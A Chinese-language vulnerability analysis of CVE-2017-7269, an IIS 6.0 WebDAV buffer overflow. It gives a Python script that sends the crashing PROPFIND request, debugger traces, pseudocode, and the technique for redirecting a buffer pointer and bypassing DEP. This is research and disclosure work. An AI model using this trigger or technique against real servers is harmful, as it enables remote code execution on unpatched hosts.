來源:玄武實驗室
作者: Ke Liu of Tencent’s Xuanwu Lab

1. 漏洞簡介

1.1 漏洞簡介

2017年3月27日,來自華南理工大學的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公開了一份 IIS 6.0 的漏洞利用代碼,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻擊活動。

該漏洞的編號為 CVE-2017-7269 [2],由惡意的 PROPFIND 請求所引起:當 If 字段包含形如 <http://localhost/xxxx> 的超長URL時,可導致緩沖區溢出(包括棧溢出和堆溢出)。

微軟從 2015 年 7 月 14 日開始停止對 Windows Server 2003 的支持,所以這個漏洞也沒有官方補丁,0patch [3] 提供了一個臨時的解決方案。

無獨有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,筆者分析后確認其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且兩個 Exploit 的寫法如出一轍,有理由認為兩者出自同一團隊之手:

  • 兩個 Exploit 的結構基本一致;
  • 都將 Payload 數據填充到地址 0x680312c0
  • 都基于 KiFastSystemCall / NtProtectVirtualMemory 繞過 DEP;

本文以 3 月份公布的 Exploit 為基礎,詳細分析該漏洞的基本原理和利用技巧。

1.2 原理概述

  • CStackBuffer 既可以將棧設置為存儲區(少量數據)、也可以將堆設置為存儲區(大量數據);
  • CStackBuffer 分配存儲空間時,誤將 字符數 當做 字節數 使用,此為漏洞的根本原因;
  • 因為棧上存在 cookie,不能直接覆蓋返回地址;
  • 觸發溢出時,改寫 CStackBuffer 對象的內存,使之使用地址 0x680312c0 作為存儲區;
  • 將 Payload 數據填充到 0x680312c0
  • 程序存在另一處類似的漏洞,同理溢出后覆蓋了棧上的一個指針使之指向 0x680313c0
  • 0x680313c0 將被當做一個對象的起始地址,調用虛函數時將接管控制權;
  • 基于 SharedUserData 調用 KiFastSystemCall 繞過 DEP;
  • URL 會從 UTF-8 轉為 UNICODE 形式;
  • Shellcode 使用 Alphanumeric 形式編碼(UNICODE);

2. 漏洞原理

2.1 環境配置

在 Windows Server 2003 R2 Standard Edition SP2 上安裝 IIS 并為其啟用 WebDAV 特性即可。 為IIS啟用WebDAV特性

修改 Exploit 的目標地址,執行后可以看到 svchost.exe 啟動 w3wp.exe 子進程,后者以 NETWORK SERVICE 的身份啟動了 calc.exe 進程 。 CVE-2017-7269 IIS遠程代碼執行漏洞exploit

2.2 初步調試

首先,為進程 w3wp.exe 啟用 PageHeap 選項;其次,修改 Exploit 的代碼,去掉其中的 Shellcode,使之僅發送超長字符串。

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)

執行之后 IIS 服務器上會啟動 w3wp.exe 進程(并不會崩潰),此時將 WinDbg 附加到該進程并再次執行測試代碼,即可在調試器中捕獲到 first chance 異常,可以得到以下信息:

  • httpext!ScStoragePathFromUrl+0x360 處復制內存時產生了堆溢出;
  • 溢出的內容和大小看起來是可控的;
  • 被溢出的堆塊在 httpext!HrCheckIfHeader+0x0000013c 處分配;
  • 崩潰所在位置也是從函數 httpext!HrCheckIfHeader 執行過來的;
  • 進程帶有異常處理,因此不會崩潰;
$$ 捕獲 First Chance 異常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:006> r ecx
ecx=00000a06

0:006> db esi
0781a7e4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a7f4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a804  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a814  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a824  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a834  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a844  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a854  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

$$ 目標堆塊分配調用棧
0:006> !heap -p -a edi
    address 07821000 found in
    _DPH_HEAP_ROOT @ 7021000
    in busy allocation (  DPH_HEAP_BLOCK:  UserAddr  UserSize - VirtAddr  VirtSize)
                                 7023680:   781e7d8      2828 -  781e000      4000
    7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
    5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
    5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
    67125df9 httpext!CHeap::Alloc+0x00000017
    67125ee1 httpext!ExAlloc+0x00000008
    67125462 httpext!HrCheckIfHeader+0x0000013c
    6712561e httpext!HrCheckStateHeaders+0x00000010
    6711f659 httpext!CPropFindRequest::Execute+0x000000f0
    6711f7c5 httpext!DAVPropFind+0x00000047
    $$ ......

$$ 調用棧
0:006> k
ChildEBP RetAddr  
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......

$$ 異常可以被處理,因此不會崩潰
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)

2.3 CStackBuffer

崩潰所在模塊 httpext.dll 會多次使用一個名為 CStackBuffer 的模板,筆者寫了一份類似的代碼,以輔助對漏洞原理的理解。為了簡單起見,默認存儲類型為 unsigned char,因此省略了模板參數 typename T

CStackBuffer 的相關特性如下:

  • 默認使用棧作為存儲空間,大小由模板參數 SIZE 決定;
  • 通過 resize 可以將堆設置為存儲空間;
  • 通過 fake_heap_size 的最低位標識存儲空間的類型;
  • 通過 release 釋放存儲空間;
  • 對象的內存布局依次為:棧存儲空間、堆塊大小成員、存儲空間指針;

CStackBuffer 的源碼如下:

template<unsigned int SIZE>
class CStackBuffer
{
public:
    CStackBuffer(unsigned int size)
    {
        fake_heap_size = 0;
        heap_buffer = NULL;
        resize(size);
    }

    unsigned char* resize(unsigned int size)
    {
        if (size <= SIZE)
        {
            size = SIZE;
        }

        if (fake_heap_size >> 2 < size)
        {
            if (fake_heap_size & 1 || size > SIZE)
            {
                release();
                heap_buffer = (unsigned char*)malloc(size);
                fake_heap_size |= 1;
            }
            else
            {
                heap_buffer = buffer;
            }
            fake_heap_size = (4 * size) | (fake_heap_size & 3);
        }
        fake_heap_size |= 2;
        return heap_buffer;
    }

    void release()
    {
        if (fake_heap_size & 1)
        {
            free(heap_buffer);
            heap_buffer = NULL;
        }
    }

    unsigned char* get()
    {
        return heap_buffer;
    }

    unsigned int getFakeSize()
    {
        return fake_heap_size;
    }

private:
    unsigned char buffer[SIZE];
    unsigned int fake_heap_size;
    unsigned char* heap_buffer;
};

2.4 漏洞調試

根據之前的簡單分析,可知 HrCheckIfHeader 是一個關鍵函數,因為:

  • 目標堆塊是在這個函數中動態分配的;
  • 從這里可以執行到觸發異常的函數 ScStoragePathFromUrl

函數 HrCheckIfHeader 簡化后的偽代碼如下所示:

int HrCheckIfHeader(CMethUtil *pMethUtil)
{
    CStackBuffer<260> buffer1;
    LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
    IFILTER ifilter(lpIfHeader);
    LPWSTR lpToken = ifilter->PszNextToken(0);

    while (1)
    {
        // <http://xxxxx>
        if (lpToken)
        {
            CStackBuffer<260> buffer2;
            // http://xxxx>
            LPWSTR lpHttpUrl = lpToken + 1;
            size_t length = wcslen(lpHttpUrl);
            if (!buffer2.resize(2*length + 2))
            {
                buffer2.release();
                return 0x8007000E;
            }

            // 將 URL 規范化后存入 buffer2
            // length = wcslen(lpHttpUrl) + 1
            // eax = 0
            int res = ScCanonicalizePrefixedURL(
                lpHttpUrl, buffer2.get(), &length);
            if (!res)
            {
                length = buffer1.getFakeSize() >> 3;
                res = pMethUtil->ScStoragePathFromUrl(
                    buffer2.get(), buffer1.get(), &length);
                if (res == 1)
                {
                    if (buffer1.resize(length))
                    {
                        res = pMethUtil->ScStoragePathFromUrl(
                            buffer2.get(), buffer1.get(), &length);
                    }
                }
            }
        }
        // ......
    }
    // ......
}

可以看出這里的關鍵函數為 CMethUtil::ScStoragePathFromUrl,該函數會將請求轉發給 ScStoragePathFromUrl,后者簡化后的偽代碼如下所示:

typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
    WCHAR lpszPath[MAX_PATH];
    DWORD dwFlags;        // The physical path that the virtual root maps to
    DWORD cchMatchingPath;// Number of characters in the physical path
    DWORD cchMatchingURL; // Number of characters in the URL
    DWORD dwReserved1;
    DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;

int ScStoragePathFromUrl(
    const struct IEcb *iecb, 
    const wchar_t *buffer2, 
    wchar_t *buffer1, 
    unsigned int *length, 
    struct CVRoot **a5)
{
    wchar_t *Str = buffer2;
    // 檢查是否為 https://locahost:80/path http://localhost/path
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    if (result < 0 || *Str != '/') return 0x80150101;
    int v7 = wcslen(Str);

    // c:\inetpub\wwwroot\path
    // dwFlags          = 0x0201
    // cchMatchingPath  = 0x12
    // cchMatchingURL   = 0x00
    // result = 0
    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
    int v36 = result;
    if (result < 0) return result;

    // L"\x00c:\inetpub\wwwroot"
    // n == 0
    wchar_t *Str1 = NULL;
    int n = iecb->CchGetVirtualRootW(&Str1);
    if (n == mapinfo.cchMatchingURL)
    {
        if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
        {
            goto LABEL_14;
        }
    }
    else if (n + 1 == mapinfo.cchMatchingURL)
    {
        if (Str[n] == '/' || Str[n] == 0)
        {
            --mapinfo.cchMatchingURL;
            goto LABEL_14;
        }
    }
    v36 = 0x1507F7;
LABEL_14:
    if (v36 == 0x1507F7 && a5)      // a5 == 0
    {
        // ......
    }

    // 0x12
    int v16 = mapinfo.cchMatchingPath;
    if (mapinfo.cchMatchingPath)
    {
        // v17 = L"t\aaaaaaaAAA...."
        wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
        if (*v17 == '\\')
        {
            // ......
        }
        else if (!*v17)
        {
            // ......
        }
    }

    // v7 = wcslen(/path>)
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }
    else 
    {
        int v24 = (2*mapinfo.cchMatchingPath >> 2);
        qmemcpy(
            buffer1, 
            mapinfo.lpszPath, 
            4 * v24);
        LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
        qmemcpy(
            &buffer1[2 * v24],
            (char*)mapinfo.lpszPath + 4 * v24,
            v24 & 3);
        qmemcpy(
            &buffer1[mapinfo.cchMatchingPath],
            &Str[mapinfo.cchMatchingURL],
            2 * (v7 - mapinfo.cchMatchingURL) + 2);
        for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
        {
            if (*p == '/') *p = '\\';
        }
        *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
        result = v36;
    }

    return result;
}

函數 HrCheckIfHeader 會調用 ScStoragePathFromUrl 兩次,在第一次調用 ScStoragePathFromUrl 時,會執行如下的關鍵代碼:

{
    wchar_t *Str = buffer2;
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    int v7 = wcslen(Str);

    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);

    // 0x12   L"c:\inetpub\wwwroot"
    int v16 = mapinfo.cchMatchingPath;

    //  v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }

    return result;
}

這里得到 v18 的值為 0x281c,而 *length 的值由參數傳遞,實際由 CStackBuffer::resize 計算得到,最終的值為 0x82,計算公式為:

fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;

length = fake_heap_size >> 3;

顯然有 0x82 < 0x281c,所以函數 ScStoragePathFromUrl*length 填充為 0x281c 并返回 1。實際上,這個值代表的是真實物理路徑的字符個數

0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')

HrCheckIfHeader 第二次調用 ScStoragePathFromUrl 之前,將根據 length 的值設置 CStackBuffer 緩沖區的大小。然而,這里設置的大小是字符個數,并不是字節數,所以第二次調用 ScStoragePathFromUrl 時會導致緩沖區溢出。實際上,調用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c,也就是堆溢出發生時通過 !heap -p -a edi 命令得到的棧幀。

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
    if (buffer1.resize(length))    // httpext!HrCheckIfHeader+0x0000013c
    {
        res = pMethUtil->ScStoragePathFromUrl(
            buffer2.get(), buffer1.get(), &length);
    }
}

小結:

  • 函數 ScStoragePathFromUrl 負責將 URL 請求中的文件路徑轉換為實際的物理路徑,函數的名字也印證了這一猜想;
  • 第一次調用此函數時,由于緩沖區大小不夠,返回實際物理路徑的字符個數;
  • 第二次調用此函數之前先調整緩沖區的大小;
  • 由于緩沖區的大小設置成了字符個數,而不是字節數,因此導致緩沖區溢出;
  • 兩次調用同一個 API 很符合微軟的風格(第一次得到所需的空間大小,調整緩沖區大小后再次調用);

3. 漏洞利用

3.1 URL 解碼

在函數 HrCheckIfHeader 中,首先調用 CRequest::LpwszGetHeader 來獲取 HTTP 頭中的特定字段的值,該函數簡化后的偽代碼如下所示:

int CRequest::LpwszGetHeader(const char *tag, int a3)
{
    // 查找緩存
    int res = CHeaderCache<unsigned short>::LpszGetHeader(
        (char *)this + 56, tag);
    if (res) return res;

    // 獲取值
    char *pszHeader = this->LpszGetHeader(tag);
    if (!pszHeader) return 0;

    int nHeaderChars = strlen(pszHeader);
    CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
    if (!stackbuffer.resize(2 * nHeaderChars + 2))
    {
        // _CxxThrowException(...);
    }

    // 調用 ScConvertToWide 進行轉換
    int v11 = nHeaderChars + 1;
    char* language = this->LpszGetHeader("Accept-Language");
    int v7 = ScConvertToWide(pszHeader, &v11, 
                             stackbuffer.get(), language, a3);
    if ( v7 ) // _CxxThrowException(...);

    // 設置緩存
    res = CHeaderCache<unsigned short>::SetHeader(
            tag, stackbuffer.get(), 0);
    stackbuffer.release();

    return res;
}

可以看出這里通過 CHeaderCache 建立緩存機制,此外獲取到的值會通過調用 ScConvertToWide 來進行轉換操作。事實上,ScConvertToWide 會調用 MultiByteToWideChar 對字符串進行轉換。

MultiByteToWideChar(
    CP_UTF8, 
    0, 
    pszHeader, 
    strlen(pszHeader) + 1, 
    lpWideCharStr, 
    strlen(pszHeader) + 1);

由于存在編碼轉換操作,Exploit 中的 Payload 需要先進行編碼,這樣才能保證解碼后得到正常的 Payload。字符串轉換的調試日志如下所示:

0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7            call    edi {kernel32!MultiByteToWideChar (77e62fd6)}

$$ 調用 MultiByteToWideChar 時的參數
0:007> dds esp L6
03fef5b0  0000fde9       $$ CP_UTF8
03fef5b4  00000000       $$ 0
03fef5b8  077f59a8       $$ pszHeader
03fef5bc  00000655       $$ strlen(pszHeader) + 1
03fef5c0  077f3350       $$ lpWideCharStr
03fef5c4  00000655       $$ strlen(pszHeader) + 1

$$ 轉換前的字符串
0:007> db 077f59a8
077f59a8  3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73  <http://localhos
077f59b8  74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7  t/aaaaaaa.......
077f59c8  9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad  ................
077f59d8  b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3  ................
077f59e8  e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6  ................
077f59f8  9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90  ................
077f5a08  b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5  ................
077f5a18  e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5  ................

0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0            test    eax,eax

$$ 轉換后的字符串
0:007> db 077f3350
077f3350  3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00  <.h.t.t.p.:././.
077f3360  6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00  l.o.c.a.l.h.o.s.
077f3370  74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00  t./.a.a.a.a.a.a.
077f3380  61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a  a.hocxaw3q6irG9z
077f3390  77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68  wKpOSuOzhHcVTmEh
077f33a0  53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69  S9lPgUcgd30FExRi
077f33b0  31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36  1TXLQjAr1B5pPXd6
077f33c0  47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32  Gl95jT4PCTRwaP22

3.2 棧溢出

根據前面的分析,可以知道當字符串超長時是可以導致堆溢出的,但問題是堆塊的基地址并不是固定的。實際上,當 CStackBuffer 使用棧作為存儲空間時,也可以觸發棧溢出,原理和堆溢出是一樣的。

當然,這里不是通過棧溢出來執行代碼,因為棧上有 cookie

.text:671255F5                 mov     large fs:0, ecx
.text:671255FC                 mov     ecx, [ebp+var_10]
.text:671255FF                 pop     ebx
.text:67125600                 call    @__security_check_cookie@4
.text:67125605                 leave
.text:67125606                 retn    8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp

在函數 HrCheckIfHeader 中存在兩個 CStackBuffer 實例:

  char c_stack_buffer_1;            // [sp+44h] [bp-430h]@1
  unsigned int v29;                 // [sp+148h] [bp-32Ch]@9
  wchar_t *stack_buffer1;           // [sp+14Ch] [bp-328h]@9
  char c_stack_buffer_2;            // [sp+150h] [bp-324h]@7
  unsigned __int16 *stack_buffer2;  // [sp+258h] [bp-21Ch]@8

基于前面對 CStackBuffer 內存布局的分析,可以知道這里棧空間的分布為:

┌─────────────────────────┐
│            2.heap_buffer│  ebp-21C
├─────────────────────────┤
│         2.fake_heap_size│  ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│  ebp-324
├─────────────────────────┤
│            1.heap_buffer│  ebp-328
├─────────────────────────┤
│         1.fake_heap_size│  ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│  ebp-430
└─────────────────────────┘

下面要重點分析的代碼片段為:

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);     // (1)
if (res == 1)
{
    if (buffer1.resize(length))                 // (2)
    {
        res = pMethUtil->ScStoragePathFromUrl(  // (3)
            buffer2.get(), buffer1.get(), &length);
    }
}

(1) HrCheckIfHeader 第一次調用 ScStoragePathFromUrl 時傳遞的參數分析如下(函數返回值為 1,長度設置為 0xaa):

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000082

0:006> dd 03faf800 L1
03faf800  

0:006> db 077d8eb0
077d8eb0  68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00  h.t.t.p.:././.l.
077d8ec0  6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00  o.c.a.l.h.o.s.t.
077d8ed0  2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00  /.a.a.a.a.a.a.a.
077d8ee0  68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b  hocxaw3q6irG9zwK
077d8ef0  70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39  pOSuOzhHcVTmEhS9
077d8f00  6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54  lPgUcgd30FExRi1T
077d8f10  58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c  XLQjAr1B5pPXd6Gl
077d8f20  39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d  95jT4PCTRwaP22Km
077d8f30  34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52  4lG2AbM7aQbXsGPR
077d8f40  70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e  p6Dujht3JNkxvIsN
077d8f50  6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52  jLzWqoJX02n7IKMR
077d8f60  63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50  cHLoVuuuofhvMDpP
077d8f70  36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76  6zKbWePurjkzbwXv
077d8f80  48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35  Hb1eT0ylJPbT3Pw5
077d8f90  77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65  wjDA43vdFMTVlGCe
077d8fa0  32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54  2vxriW8Crb0Z8YHT
077d8fb0  02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c  .......hDlVR7Kml
077d8fc0  58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66  XOZXPyjIOXRJPAMf
077d8fd0  c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43  ...h4H1eCofnAtlC
077d8fe0  c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42  ...hCSAjRp03fXLB
077d8ff0  4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00  KpFcsQAyPzlJ>...
077d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

(2) 因為 ScStoragePathFromUrl 返回 0xaa,所以 buffer1.resize(0xaa) 并不會在堆上分配空間,而是直接使用棧上的 buffer

(3) 第二次調用 ScStoragePathFromUrl 時會導致棧溢出,實際結果是 CStackBuffer1.fake_heap_size 被改寫為 0x02020202CStackBuffer1.heap_buffer 被改寫為 0x680312c0

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2

$$ 留意最后面 2 個 DWORD 的值
0:006> db ebp-430 L10C
03faf804  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf814  c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03  .YU.........`...
03faf824  fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c  .....d......p..|
03faf834  a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00  .n.|.....n.|....
03faf844  01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00  ........#..|....
03faf854  c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a  ..{..........]..
03faf864  6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00  l......`...`....
03faf874  9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00  ...`4...3.......
03faf884  8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00  ...`R#.`".......
03faf894  00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00  ................
03faf8a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf8b4  f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00  .g.w............
03faf8c4  00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77  ........ ...J..w
03faf8d4  85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77  ....O...[ .g\..w
03faf8e4  5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67  [ .g.r.wO...[ .g
03faf8f4  13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07  ....X........d..
03faf904  c0 17 bf 77 12 04 00 00-04 f8 fa 03              ...w........
                      ^^^^^^^^^^^ ~~~~~~~~~~~

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0            mov     esi,eax

$$ 留意最后面 2 個 DWORD 的值
0:006> db ebp-430 L10C
03faf804  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
03faf814  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
03faf824  6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00  o.t.\.a.a.a.a.a.
03faf834  61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47  a.a.hocxaw3q6irG
03faf844  39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d  9zwKpOSuOzhHcVTm
03faf854  45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78  EhS9lPgUcgd30FEx
03faf864  52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58  Ri1TXLQjAr1B5pPX
03faf874  64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50  d6Gl95jT4PCTRwaP
03faf884  32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58  22Km4lG2AbM7aQbX
03faf894  73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78  sGPRp6Dujht3JNkx
03faf8a4  76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37  vIsNjLzWqoJX02n7
03faf8b4  49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76  IKMRcHLoVuuuofhv
03faf8c4  4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a  MDpP6zKbWePurjkz
03faf8d4  62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54  bwXvHb1eT0ylJPbT
03faf8e4  33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56  3Pw5wjDA43vdFMTV
03faf8f4  6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a  lGCe2vxriW8Crb0Z
03faf904  38 59 48 54 02 02 02 02-c0 12 03 68              8YHT.......h
                      ^^^^^^^^^^^ ~~~~~~~~~~~

3.3 填充數據

通過!address 命令可知地址 0x680312c0 位于 rsaenh 模塊中,具備 PAGE_READWRITE 屬性。

0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68030000
End Address:            68032000
Region Size:            00002000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE
More info:              lmv m rsaenh
More info:              !lmi rsaenh
More info:              ln 0x680312c0

0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000            add     byte ptr [eax],al

在解析 http://localhost/bbbbbbb...... 時,數據將被直接填充到地址 0x680312c0。此時,由于 CStackBuffer1 的長度已經 足夠大ScStoragePathFromUrl 只會被調用一次。

$$ ScStoragePathFromUrl 參數
0:006> dds esp L3
03faf7b4  077dc9e0
03faf7b8  680312c0 rsaenh!g_pfnFree+0x4
03faf7bc  03faf800

0:006> dd 03faf800 L1
03faf800  00404040

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
